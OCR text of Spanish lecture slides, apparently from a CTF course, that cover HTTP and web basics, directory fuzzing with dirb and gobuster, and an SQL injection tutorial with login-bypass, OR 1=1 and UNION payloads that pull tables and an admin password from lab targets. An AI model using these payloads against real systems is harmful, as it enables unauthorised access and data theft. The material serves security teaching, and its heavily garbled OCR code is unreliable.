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URL: Uniform Resource Locator

Todos sabemos que es una URL de forma intuitiva, ;pero que formato siguen?

e AU TN O [ ]

http:// www.example.com: 80 /path/to/myfile.html| ?key1=value1&key2=value2 —

Scheme Domain Name Port Path to the file Parameters L}Anchor
Fuente imagen: https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_is_a_URL
Partes mas comunes: Ejemplos:
. Scheme (protocolo) * https://google.es/search?g=como+ganar+dinero

o Authonty (userinfo@host: port) ftp//ftpfunetfl/pub/dOC/rfC/rfcl738tXt

« Path: ruta al recurso file://localhost/etc/passwd (o file:///etc/passwd)

« Parameters: pares clave-valor gopher//1720016379/_%2A3%0D

mailto:raul.martin@urjc.es?subject=Que+aula+es
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vertext Transfer Protocol

Claves:

« La informacidn se transmite como texto
« Es un protocolo sin estado, el servidor no tiene memoria

 Nos vamos a centrar solo en la version 1.0/1.1. La version 2.0 y 3.0 son

muy diferentes
HTTP/1.1 301 Moved Permanently
. Location: http://www.google.es/
GET /index.html HTTP/I.I Content-Type: text/html; charset=UTF-8

Host: google.es Content-Length: 218
Cabecera2: valor2 q [\nin]
Cabecera3: valor3 <HTML><HEAD>
<TITLE>301 Moved</TITLE></HEAD><BODY>
[\n\n] <H1>301 Moved</H|>
The document has moved

<A HREF="http://lwww.google.es/">here</A>,
</BODY></HTML> Alejandro Cruz, Raul Martin, Andrea Olivay Rubén Santos
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vertext Transfer Protocol

Ejemplos de cabeceras tipicas:

Peticion: Ambas: Respuesta:

* Referer « Content-Length « Server

» Cookies « Content-Type « Set-Cookie 7
» User-Agent « Location

e Authorization

¢ Has visto una cabecera rara y no sabes que hace?
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers

Alejandro Cruz, Radl Martin, Andrea Oliva y Rubén Santos
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""" | HTTP: Hypertext Transfer Protocol

c @ O 5 https://www.youtube.com

» YouTube ~ aQa ¢

Home m Live Meditation music Comedies Playlists Background music House Music Music Lo-fi Nature Jazz Reggaeton Dogs FC Barcelona Clash Royale FIFA 22

Explore

Subscriptions

Library
History

Watch later
11:55:00

CLg

Liked videos iawee, COREANA PENSO QUE EL ESTABA Musica para Eliminar la Negatividad ( A') Funny Moments Of The Year ety Ed Sheeran, Kygo, Avicii, Robin Schulz,
Vi

RAPEANDO Subconsciente | Disolver Patrones... Compilation ® § ¥ PART 5 Lost Frequencies The Chainsmokers...
SUBSCRIPTIONS En Breve Viral Jordan Henderson - Sonoterapia LINH LAN TV Queen Club @
3.2M views * 10 months ago 1.8M views * Streamed 8 months ago 68M views *+ 5 months ago 2.8M views * 6 months ago

A Music

Sports - i St — e | e—

\ N Ve %0

L 4
® Gaming 3 : e \ ¥

@ s & dcmuvlslafg ‘F
M Movies 2 3 ‘ : : S . ;

e SETET
MORE FROM YOUTUBE i VIR

YouTube Premium » \%
& - TN G

4 Movies ; COMIENDO EN EL RESTAURANTE MAS (2. lofi hip hop radio - beats to relax/study ¢QUE PASA AL METER LAVA ARDIENTE LA RESISTENCIA - Entrevista a Apolonia
€  Gaming CARO DE BARCELONA EN LA TRITURADORA? Lapiedra | #LaResistencia 17.06.2021
Ibai @ Lofi Girl @ Timon se ha Vuelto Loco @ La Resistencia en Movistar+ @

i 0 views * month ago 47K watchin views * week ago 9 VIews * months ago
) Live 6.4M 1 h ac 47K hing ™ 1 week ag 2.5M 4 f
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vertext Transfer Protocol

Hyper... ;Text? = El contenido de la respuesta no tiene porqué ser texto

Request

Pretty

1

10
11
12
13
14
15
16

REV Hex \n =

GET
/youtube/img/promos/growth/1263£05576c9£137587330
£f92e03e0a725£426fd9d40d28a8942692dc8f6b210_640x48
.png HTTP/2

Host: www.gstatic.com
Sec-Ch-Ua: "Chromium";v="95",
Brand";v="99"
Sec-Ch-Ua-Mobile: 20
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4;
x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/95.0.4638.54 Safari/537.36
Sec-Ch-Ua-Platform: "macOs"

Accept:

image/avif, image/webp, image/apng,image/svg+xml,im
age/*,*/*.:q=0.8
X-Client-Data:
Sec-Fetch-Site:
Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: image

Referer: https://www.youtube.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;g=0.9,en;g=0.8

":Not A

CLmIywE=
cross-site

Response

Pretty BREWM Hex Render \n =

1 HTTP/2 200 OK

2 Accept-Ranges: bytes

3 Content-Type: image/png

4 Cross-Origin-Resource-Policy: cross-origin

5 Cross-0Origin-Opener-Policy-Report-0Only:
same-origin; report-to="youtube"

6 Report-To:
{"group":"youtube", "max _age":2592000, "endpoints":[
{"url":"https://csp.withgoogle.com/csp/report-to/y
outube"} 1}

7 Content-Length: 6735

8 Date: Thu, 04 Nov 2021 18:14:45 GMT

9 Expires: Thu, 04 Nov 2021 19:04:45 GMT

10 Last-Modified: Mon, 21 Sep 2020 12:45:00 GMT

11 X-Content-Type-Options: nosniff

12 Server: sffe

13 X-Xss-Protection: 0

14 Age: 2639

15 Cache-Control: public, max-age=3000

16 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443";
ma=2592000,h3-0050=":443";
ma=2592000,h3-Q046=":443";
ma=2592000,h3-0043=":443"; ma=2592000,quic=":443";
ma=2592000; v="46,43"

17

18 [JPNG

19

20 IHDRO[JJEsRGB®Ié&DeXIfMM*[]i [] 0][ga*IDATxi[ledSeCW$
O¢\ESpB%$ES-[])d6x2[lyEed0a:139chp81¢xL|pt "a[]

21 §[K&Q"110&Aw>ib{i0"{¥.{y+yO¥¥%I690zBw]~By&n}yediuls

DEDV4H‘ﬁ?fiD1AéFéDgE3ﬁéWD§(DD" (00" -kedaépcG [iQF
y0.0eEhsué[Ju-00" (00" “g
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;Y HTTPS?

{Qué significa realmente el candadito!?

O H wikipedia.org

HTTPS no es mas que TLS + HTTP

Q | A l columbia.edu

| —

Funcionamiento (muy simplificado):
« Afade un paso inicial para establecer una clave de cifrado simétrica
* Antes de enviar cualquier dato por el canal, se cifra con dicha clave

* En el otro extremo (cliente o servidor), se descifra con la misma clave

Alejandro Cruz, Radl Martin, Andrea Olivay Rubén Santos
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El protocolo HTTP no
tiene estado pero los
servidores o ]S pueden
implementarlo

THESECURITYOFFICE VIEWERS
ALSO WATCH

ManzDev 36 LIVE
Software and Gam...

Science & Technology

TheSecurityOffice

The Security Office - Sacando los trapos sucios de Jorge

Spanish

W {3 Inspector Console [© Debugger T Network {3} Style Editor () Performance {F Memory [ St

v @ Cache Storage Y Filter Items
@ https://www.twitch.tv

v E Cookies

chatSettings

@ https://www.twitch.tv livestreamResumeTimes

local_copy_unique_id
v E Indexed DB —copy-tnique-
local_storage_app_session_id

@ https://www.twitch.tv local_storage_device_id

v @ Local Storage mod-view-unban-requests-last...

© https:/jwww.twitch.tv sentry_device_id

- @ Session Storage tag-size-cache-uv.2
twilight.emote_picker_history

@ https://www.twitch.tv video-muted

video_ads.stream_loudness

{"fontSizePreference":"default","lastUsedFollowerDurations":
{"43712718268":574,"43712814380":3168,"43713181964":15
"oqciFi5T1

"4cb8700

"55a9a6b

null

"p9fdb1f7f72f215e"
{"value":{"Spanish":66.566666564941406,"IRL":37.8999938¢
{"9":{"emote":{"id":"9" "token":"<3" "type":"SMILIES"}"lastU
{"default":false}
{"loudness":-21.455079314483232,"timestamp":163605362

Alejandro Cruz, Radl Martin, Andrea Olivay Rubén Santos
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THESEQIIDITVAEEINE VVIEWEDS ThaCannivikuMNERAan
AL THESECURITYOFFICE VIEWERS TheSecurityOffice
El P rotocolo HTTP no @' ALSO WATCH office The Security Office - Sacando los trapos sucios de Jorge
. y ManzDev 36 LIVE Science & Technology ' Spanish
tiene estado pero los M) Soitware and Gam..
° *Em {3 Inspector Console [ Debugger T Network {} Style Editor () Performance £k Memory [ St
servidores o ]S pueden ‘
A 4 @ Cache Storage Y Filter Items
im plementarlo "B @ hupsymwwwitchty Name  Value
v @ Cookies api_token twilight.

v -
= @ https:/www.twitch.tv server_s... ed6c41

tachyon... true
v @ Indexed DB y

v E tachyon... | true
. @ https:/fwww.twitch.tv tachyon... dark_preferred
g E Local Storage tachyon... dark_preferred
v =
@ https://www.twitch.tv twitch.lo... ES

. . - \
- @ Session Storage unique_i... oqciFi5T1lhloT

unigue_i... oqciFi5T1lhloTY

@ hitps:/fwww.twitch.tv unigue_id  oqciFi5T1lhloT

Alejandro Cruz, Radl Martin, Andrea Olivay Rubén Santos
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¢, Que 3 tecnologias son esenciales en la

web?
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¢, Que 3 tipos de archivos son esenciales

en la web?

B E s

HTML Javascript
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* HiperText Markup Language (HTML)
* Es el lenguaje utilizado para crear documentos en la web
* El navegador web es el encargado de visualizar los documentos HTML

<!DOCTYPE html>

<html>
<body> ® 0 3 indexhtml x +
= C O @ File | /Usersfiesus.sanchezoro/Downloads/p... Yr  A#® Incognito (2) @ ® I 7
<h1>This is heading 1</h1>
<h2>Th1}s ?s head?ng 2</h2> This is heading 1
<h3>This is heading 3</h3>
<h4>This is heading 4</h4> This is heading 2
<h5>This is heading 5</h5> Fiis i healiingd
<h6>This is heading 6</h6> PRSI
This is heading 4
<p>This paragraph one.</p> Thisis heading §
<p>This paragraph two.</p> .
<p>Bla, bla, bla, bla, bla, bla, |™"™*
bla P This paragraph one.
bla, bla, bla, bl.a, bla, b.l.a, bla, This paragraph two.
bla, bla, bla, bla, bla, bla, bla, Bla, bla, bla, bla, bla, bla, bla, bla, bla, bla, bla, bla, bla, bla, bla, bla, bla, bla, bla, bla, bla, bla, bla, bla, bla,
bla’ bla, bla, bla, b'La’ b'[_a’ b'La’ bla, bla, bla, bla, bla, bla, bla, bla, bla, bla, bla, bla.

bla, bla, bla, bla, bla, bla, bla,
bla, bla.</p>

</body>
</html>

Alejandro Cruz, Radl Martin, Andrea Olivay Rubén Santos
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Estructura en forma de arbol

b
c3a s
meta [ titie ] lsterJ

o p - @ ©

[ﬂj[ b ][em][ i ] [q][codel[kbd] lsup][sub] lstrong] [strongJ

Alejandro Cruz, Radl Martin, Andrea Olivay Rubén Santos
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* Cascading Style Sheets (CSS)
* Es un lenguaje utilizado para dar estilo a contenido estructurado

* Se aplica principalmente a documentos HTML, pero también se puede usar con otros documentos
como SVG, XML, etc

Hello World!

These paragraphs are styled with CS55.

<style>

poq

color: red;
text-align: center;

h

<fstyle>»

Alejandro Cruz, Radl Martin, Andrea Olivay Rubén Santos
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avascript

* Es un lenguaje de programacion basado en el estandar ECMAScript de ECMA

* Las paginas web pueden incorporar interactividad con el lenguaje JavaScript

* Con JavaScript se puede modificar la pagina y ejecutar cédigo cuando se interactua con ella (a
través del modelo de objetos del documento DOM)

* También se pueden hacer peticiones al servidor web en segundo plano y actualizar el contenido de
la web con los resultados (AJAX)

1

HISTORY.COM

> N =
e din]
THAT'S:IMPOSSIBLE

Alejandro Cruz, Radl Martin, Andrea Olivay Rubén Santos
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Estatico vs dinamico

.. | Welcome User |
En un CTF hay que saber que

cosas Interactuan con que

|
- ==
| Welcome (Mame)
1 -
ﬁ | ﬁ
_ 1
1
1
1
1
1

Database
e Clientbrowser

servidores y cuales son estaticas

Alejandro Cruz, Radl Martin, Andrea Oliva y Rubén Santos
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Full stack

USER INTERFACE

BER c/auer (/) ome METERR oo NRY
gNGULABﬁ B BACKBONE JS & jauery QEXt JS  copeeseript |

SERVICE

.- ‘ =)

@ python  django
d c . ' Bash Shell Jai\/é

Cspring  J2EE

o Wappalyzer

Archivo tditar Ver Buscar

http: //google,com

33.1960.138
(h7cql)0 Title

untly UHITED STATES
rame-Options[SAMEORIGIN] ,

Search ) Cache Massage Queue Database
%, elastic ‘ é redis BaRabbit " AN Sl soner
Asna'r 'o‘ - QMQ @ SQS (Drere \iw..f-.mongom-‘-
Lucene. B mcachea Be sriak 2
CIoule|e;tforms
amazoﬂ S B cloudstack o% Hheroku -
oree
CLOUD il
openstack Fonory NN bluelock.

root@kali: ~

Terminal Ayuda

Country[UNITED STATES][US], HTTPServer[GFE/2.0 IP[64.2

RedirectlLocation[http://www.google.cl/Tgfe_rd=créei=g511VoWfHs1ExAS

Cookies[NID], C
IP[64.233.196.94], X-

jle.cl/7gfe rd=cr&ei=g511VoWfHs
HTTPServer|gws HttpOnly NID
X-XSS-Protection|1l; mode=block]

p WW . GOt
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Tus nuevos mejores amig

CTRL + U F12

(o click derecho, inspeccionar elemento)

Permite observar el documento Ofrece multitud de opciones,
(normalmente el html) tal cual lo entre ellas, la inspeccion del
recibe el servidor estado actual del html

Alejandro Cruz, Radl Martin, Andrea Olivay Rubén Santos
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Recordemos codig respuesta

A

y

l 1XX HTTP Request

INFORMATIONAL /\
3XX Client Server
REDIRECTION

4xx

CLIENT ERROR

5XX
SERVER ERROR HTTP Response

https://www.youtube.com/ =» 200 OK
https://www.youtube.com/watch?v=dQw4w9WgXcQ = 200 OK
https://www.youtube.com/watch?v=dQw4w9WgXcA => 200 OK ?2?
https://www.youtube.com/juanito = 404 NOT FOUND
https://www.youtube.com/feed/juanito =» 200 OK ?2?

Alejandro Cruz, Radl Martin, Andrea Oliva y Rubén Santos


https://www.youtube.com/
https://www.youtube.com/watch?v=dQw4w9WgXcQ
https://www.youtube.com/watch?v=dQw4w9WgXcAa
https://www.youtube.com/juanito
https://www.youtube.com/feed/juanito

Metralleta de peticiones

iComo descubrimos
que URLs existen?

gobuster | Kali Linux Tools
dirb | Kali Linux Tools
wfuzz | Kali Linux Tools

27

Alejandro Cruz, Radl Martin, Andrea Olivay Rubén Santos
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Robots.txt

Un archivo robots.txt indica a los rastreadores de los buscadores a qué URLs de tu sitio
pueden acceder

"v G ﬁ‘l https://www.youtube.com/robots.txt

# robots.txt file for YouTube
# Created in the distant future (the year 2008) after
# the robotic uprising of the mid 98's which wiped out all humans.

User-agent: Mediapartners-Google®
Disallow:

User-agent: *

Disallow: /channel/*/community
Disallow: /comment

Disallow: fget_wvideo

Disallow: /get_video_info
Diszallow: /fget_midroll_info
Disallow: flive_chat

Disallow: flogin

Disallow: fresults

Disallow: /signup

Disallow: /t/terms

Disallow: ftimedtext_video
Disallow: fuser/*/community
Disallow: fverify_age
Disallow: Sfwatch_ajax
Disallow: fwatch_fragments_ajax
Disallow: fwatch_popup
Disallow: fwatch_gueue_ajax

Sitemap: https:/Swww.youtube.com/sitemaps/=itemap.xml
Sitemap: https:/Swww.youtube.com/product/sitemap.xml

Alejandro Cruz, Radl Martin, Andrea Oliva y Rubén Santos
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Ejemplo
* dirb http://localhost:4455/

dirb http://localhost:4455/

DIRB v2.22
By The Dark Raver

START_TIME: Thu Nov 4 22:13:55 2021
URL_BASE: http://localhost:4455/
WORDLIST FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

———— Scanning URL: http://localhost:4455/ ——
+ http://localhost:4455/robots.txt (CODE:200|SIZE:470)

Alejandro Cruz, Radl Martin, Andrea Olivay Rubén Santos
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GoBuster

Parametros

* dir = paraindicar que queremos fuzzear direcciones

* -u<url>=> paraindicar sobre qué url lanzarlo (hay que tener en cuenta el path)

* -w <direccion diccionario> =* para indicar qué diccionario usar (el mejor
es /usr/share/seclists/Discovery/VWeb-Content/directory-list-2.3-medium.txt)

* -x <extensiones dividias por comas> => para indicar ademas posibles extensiones de
ficheros a buscar (py,php,css,html)

* -r => paraseguir la redireccion en caso de que haya

* -sy-—b => paraindicar qué status codes quieres que mire como BIEN y cuales como

MAL

> gobuster dir -u http://localhost:4455/ -w /usr/share/seclists/Discovery/Web-Content/directory-1list-2.3-medium.txt -x php,css,]js

Alejandro Cruz, Radl Martin, Andrea Olivay Rubén Santos
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Con todos ustedes...

PAYLOADS
AL E
FHE PHINGS
PS C:\> Web Application Security,
Pentest and Red Team Cheatsheet

N

©Flower

swisskyrepo/PayloadsAllTheThings: A list of useful payloads and
bypass for VWeb Application Security and Pentest/CTF (github.com)

Alejandro Cruz, Radl Martin, Andrea Olivay Rubén Santos
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SQL Injection (Definicion

¢, QUE es una inyeccion SQL?

Es un ataque en el cual se introduce codigo
malicioso en un sitio web con el fin de obtener

informacion protegida o manipular datos, entre otros.

Puede ser obtener informacion de usuarios de una
base de datos o iniciar sesion en una aplicacion
COmo otro usuario.

(4

Alejandro Cruz, Radl Martin, Andrea Oliva y Rubén Santos
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SQL Injection (Tutorial basico

Anadir usuarios a una tabla de una base de datos

INSERT INTO users(username, password, email) VALUES (“administrator","supersecurepasswd"”,”admin@gmail.com™);

(I INTO users(username, password, email) VALUES ("Cangrejo","Bermejo”,"cangrejof@gmail.com™);

INSERT INTO users(username, password, email) VALUES ("DeathChron™,"Evil","death@gmail.com");

Nombre de INSERT INTO users(username, password, email) VALUES ("Isma","esbuenaladelvasodeagua”,"noob@gmail.com”);
la tabla
Columnas de la tabla I/' \ Valores a insertar
Consulta de toda la tabla de una base de datos
+ Options CEIECT % L£emem .
. SELEC ‘om USERS;
username password email e
administrator supersecurepasswd admin@gmail.com \
Cangrejo Bermejo cangrejo@gmail.com Nombre de la tabla
DeathChron Evil death@gmail.com
Isma esbuenaladelvasodeagua noob@gmail.com

Alejandro Cruz, Radl Martin, Andrea Oliva y Rubén Santos
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SQL Injection (Tutorial basico

Consulta de todos los datos de un usuario especifico

+ Options
SELECT@FROI‘*‘1 users WHERE username= username  password email
/ \ \ administrator supersecurepasswd admin@gmail.com

Para obtener todos Nombre de la tabla
los datos disponibles

Nombre del usuario

Consulta de un campo concreto de un usuario especifico

SELECT username FROM users WHERE username= + Options

username
administrator
Para obtener los datos de
un campo concreto

Alejandro Cruz, Radl Martin, Andrea Oliva y Rubén Santos
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SQL Injection (Ataque al panel de lo

Nuestro objetivo es manipular la entrada del usuario para realizar
sentencias SQL maliciosas con las cuales obtener informacion
oculta

FRONTEND
Login -
BACKEND

= request.form.get( )
= request.form.get( )
= User.query.filter by(email=email).first()

= db.session.execute(

:
y.fetchone()

Alejandro Cruz, Radl Martin, Andrea Olivay Rubén Santos
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SQL Injection (Ataque al panel de lo

¢, Como se puede aprovechar el atacante?

Si se introdujera una comilla en el campo username, pasaria lo siguiente:

Internal Server Error

Esto se debe a que esa comilla se interpreta como cierre de sentencia, por lo que el
resto no se ejecutara. Si lo replicamos en el laboratorio:

s.useifs. s

[ o Ending quote ' was expected. (near )T

‘ Select email from users where username =''' and password = 'noseejecuta'’

Alejandro Cruz, Radl Martin, Andrea Olivay Rubén Santos
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SQL Injection (Ataque al panel de lo

¢, Como se puede aprovechar el atacante?
El objetivo del atacante es loggearse como administrador

Para ello, debe introducir como usuario: administrator’ -- -

= db.session.execute(
.F
). fetchone()

« Showing rows 0 - 0 (1 total, Query took 0.0006 seconds.)

Select email from users where username ='administrator' -- and password = 'noseejecuta’

filing [Edit inline]

(J Showall | Numberofrows: 25 v Filter rows: Sirve para comentar y que no
produzca error por el resto de la
+ Options uer
email G y

admin@gmail.com

Alejandro Cruz, Radl Martin, Andrea Olivay Rubén Santos
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SQL Injection (Ataque al panel de lo

Si introducimos |o anterior en el login de nuestra pagina web,
conseguimos loggearnos como administrador

Login

administrator' -- - "

My Account

Your username is: administrator

I

Alejandro Cruz, Radl Martin, Andrea Oliva y Rubén Santos
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"""l SQL Injection (Obtener informacion oculta

Muchas veces se nos pide encontrar informacion oculta que no se
puede ver

Aqui entran en juego ciertos operadores logicos

OR Truth Table * OR AND Truth Table
A BJ|Y * AND A B|Y
0 o0 ] O 0O 0]0
0 1] 1 0O 110
1 0|1 1 0] 0
1 1|1 1 1|1

Alejandro Cruz, Radl Martin, Andrea Olivay Rubén Santos
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Tenemos una web donde se pueden visualizar productos. Si se pincha
por ejemplo en Pets, se mostrarian unicamente los productos de dicha
categoria

All Accessories Clothing, shoes and accessories Food & Drink Pets

En la URL apareceria lo
siguiente

ZZZZZZ Bed - Your New Home Office Six Pack Beer Belt Hologram Stand In
$84.14 $85.66 $26.25

web-security-academy.net
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SQL Injection (Obtener informacion oculta

La aplicacion por detras funciona asi:

= request.form.get( J4 En nuesiro caso esto serla Pets

= db.session.execute(
.F
Y. fetchone( )

select * from items where category='Pets' or 1=1 -- - 'and released=1;
7] Prof
[J Show all | Number of rows: | 25 v Filter rows:

@ptiens Al replicar en nuestro laboratorio se mostraria
name category  released la informacion relacionada con la categoria
The lazy dog Pets 1 - Pets
Fur Babies Pets 0

Cheshire Cat Grin  Accessories 1 <4

Hydrated Crackers Food & drink 1
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SQL Injection (Obtener informacion oculta

¢, Como obtener informacion que no se debe mostrar?

Siintroducimos en laURL ‘ or 1=1 -- -, se
estaria ejecutando lo siguiente en nuestra
aplicacion:

pcademy.net/filter?category='or 1=1 --- 1

= request.form.get( )8 En nuestro caso esto seria Pets SELECT * FROM “items where category = '' or 1=1 -- -'

= db.session.execute(

f
).fetchone()
(J Showall | Numberofrows: 25 v Fi
_ + Options
Con esta sentencia, se vuelca toda la tabla. name category

Esto sucede porque 1=1 siempre se cumple \ The lazy dog Pets
Fur Babies Pets

Cheshire Cat Grin Accessories
Hydrated Crackers Food & drink
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SQL Injection (Obtener informacion oculta

En nuestra pagina, se mostrara lo siguiente:

All Accessories Clothing, shoes and accessories Food & Drink Pets

7" R

Dancing In The Dark Waterproof Tea Bags Giant Grasshopper Be:
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Clausula ORDER BY

Nos permite ordenar los resultados de una consulta de

manera ascendente o descendente, segun una columna
y.net/filter?category=Pets’ order b-

order by 3 devuelve la tabla ordenada segun la columna

numero 3

Un atacante podria aprovechar esta clausula para conocer el
ndmero de columnas que tiene unatabla de una base de

datos /

En este caso da error, lo que indica que la tabla tiene menos
columnas
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SQL Injection (Examinar BBDD

Clausula UNION

SELECT name FROM items union select category from items

. . Show all . v '
Nos permite unir los resultados de dos consultas, U Number of rows: | 25 Filter 47
obteniendo una Unica columna + Options
name
The lazy dog
Ambas sentencias, por separado, deben devolver el Fur Babies

Cheshire Cat Grin
Hydrated Crackers
Pets

Accessories

Food & drink

mismo numero de columnas
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SQL Injection (Examinar BBDD

Clausula UNION

Mediante esta clausula, un atacante podria determinar
de qué tipo es una columna

Pets

Para ello se suele usar NULL, ya que suele ser

compatible con todos los tipos y no da error
Sin embargo, si probamos con un

String, se ejecuta
correctamente

Si en la paginavulnerable ponemos lo siguiente,

da error porque no admite tipo Integer
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SQL Injection (Examinar BBDD

Conseguir tablas de la base de datos

iInformation_schema es la base de
datos donde se guarda la informacion
sobre todas las demas bases de datos

Si consultamos las tablas que tiene, se
puede ver la creada anteriormente:

SELECT * FROM information_schema.tables;
—~—  information_schema

X
TABLE_CATALOG TABLE SCHEMA TABLE_NAME

1T v >>> - >
— % New ,
- ADMINISTRABLE_ROLE AL def phpmyadmin pma__usergroups
L APPLICABLE_ROLES
— j» CHARACTER_SETS def phpmyadmin pma__users
— »» CHECK_CONSTRAINTS e s
— » COLLATIONS
— » COLLATION_CHARACTER_S
Ll COLIIMNS
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SQL Injection (Examinar BBDD

Conseguir tablas de la base de datos

.. .. . collation_character_set_applicability
Siguiendo con la consulta maliciosa anterior, podemos usarla para

AN tat | '
obtener los nombres de las tablas en nuestra pagina vulnerable e i

pg_prepared_statements

ublication_tables
Accessories’ NULL, table_name information_schema.tables -- - o -

constraint_table_usage
pg_stat_database
pg_statio_sys_tables

pg_language

Esta tabla tiene un nombre interesante 4
pg_largeobject

pg_statio_all_sequences
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SQL Injection (Examinar BBDD

Consegqguir columnas de la tabla users

Con information_schema.columns se pueden obtener los nombres de todas las columnas de
cada base de datos

SELECT * FROM information_schema.columns

def pruebas users email
def pruebas users password
def pruebas users username
Accessories’ NULL, column_name information_schema.columns table name='users_jwgmff'-- -
Resultado de la consulta a la pagina — password_jtgova
vulnerable — nombres de la tabla de usuarios username_vxyhzg
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Conseguir usuario y contrasena

Como ya tenemos el nombre de las columnas de la tabla de usuarios,
procedemos a consultar los nombres y las contrasenas almacenadas

Accessories’ username_vxyhzg, password_jtgova users_jwgmff -- -

- Entrada del usuario
administrator —  administrator y su contrasefia

629cfxcpyltkzoii593z
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Es una herramienta e - (:5.10.2180e0)
gue permite B mamd B

automatizar los AL TURS MA Sre et e AN o iy A s ik Ay
ataques de SQL

In-ection 17:14] [WARNING] you've provided target URL without any GET parameters (e.9
J Ho you u1nt to try URI ln)e:tlon in the target URL itself? [Y/n/q] ¥

[INFO] testing connection to the target URL
ou have not declared cookie(s), while server wants to set its own ('session=hXaeliSYyNO...6TLPvwcEeD'). Do you want to use those [Y/n] ¥
13:17:16) checking Lf the target Ls protected by some kind of WAF/IPS
Prueba Con 17 5 ) CRJTI[AL euristics detected that the target S prote *d by some kind of WAF/IPS
hre you sure that you want to conttnue with further target testtngf [Y n]y
= : | | LWARNING | please co ider usage of tamper scripts (option tampe«
dlferentes 13:17:16] [ 1 testing Ll the target URL content is stable
. . 17:18] [1I ] target URL content is stable
aprOXImaCIOneS que 13:17:1 ’r:'.xr': if URI parameter '»1 15 dynamic
i 1 18] [WARNING] URI parameter '#1 does not appear to be dynamic
7:19) [HARNING heur\&t\c {(bastic) test $ho-s that URI parateter ‘#1*' might not be injectable

existen para realizar R
la inyeccion ” ' 5.1 AN error-

{ |
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